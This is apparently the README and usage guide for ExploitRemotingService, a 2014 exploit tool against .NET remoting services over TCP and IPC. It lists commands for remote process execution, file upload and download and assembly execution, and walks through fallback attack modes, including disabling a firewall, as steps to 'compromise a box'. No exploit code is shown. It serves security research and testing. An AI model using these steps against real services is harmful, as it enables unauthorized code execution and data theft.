It only works on Windows although some aspects _might_ work in Mono on *nix. Usage Instructions: =================== ExploitRemotingService [options] uri command [command args] Copyright (c) James Forshaw 2014 Uri: The supported URI are as follows: tcp://host:port/ObjName - TCP connection on host and portname ipc://channel/ObjName - Named pipe channel Options: -s, --secure Enable secure mode -p, --port=VALUE Specify the local TCP port to listen on -i, --ipc=VALUE Specify listening pipe name for IPC channel --user=VALUE Specify username for secure mode --pass=VALUE Specify password for secure mode --ver=VALUE Specify version number for remote, 2 or 4 --usecom Use DCOM backchannel instead of .NET remoting --remname=VALUE Specify the remote object name to register -v, --verbose Enable verbose debug output --useser Uses old serialization tricks, only works on full type filter services -h, -?, --help Commands: exec [-wait] program [cmdline]: Execute a process on the hosting server cmd cmdline : Execute a command line process and display stdou t put localfile remotefile : Upload a file to the hosting server get remotefile localfile : Download a file from the hosting server ls remotedir : List a remote directory run file [args] : Upload and execute an assembly, calls entry point user : Print the current username ver : Print the OS version This tool supports exploit both TCP remoting services and local IPC services. To test the exploit you need to know the name of the .NET remoting service and the port it's listening on (for TCP) or the name of the Named Pipe (for IPC). You can normally find this in the server or client code. Look for things like calls to: RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance You can then try the exploit by constructing an appropriate URL. If TCP you can use the URL format tcp://hostname:port/ServiceName. For IPC use ipc://NamedPipeName/ServiceName. A simple test is to do: ExploitRemotingService SERVICEURL ver If successful it should print the OS version of the hosting .NET remoting service. If you get an exception it might be fixed with CVE-2014-1806. At this point try the COM version using: ExploitRemotingService -usecom SERVICEURL ver This works best locally but can work remotely if you modify the COM configuration and disable the firewall you should be able to get it to work. If that still doesn't work then it might be an up to date server. Instead you can also try the full serialization version using. ExploitRemotingService -useser SERVICEURL ls c:\ For this to work the remoting service must be running with full typefilter mode enabled (which is some, especially IPC services). It also only works with the commands ls, put and get. But that should be enough to compromise a box. I've provided an example service to test against.
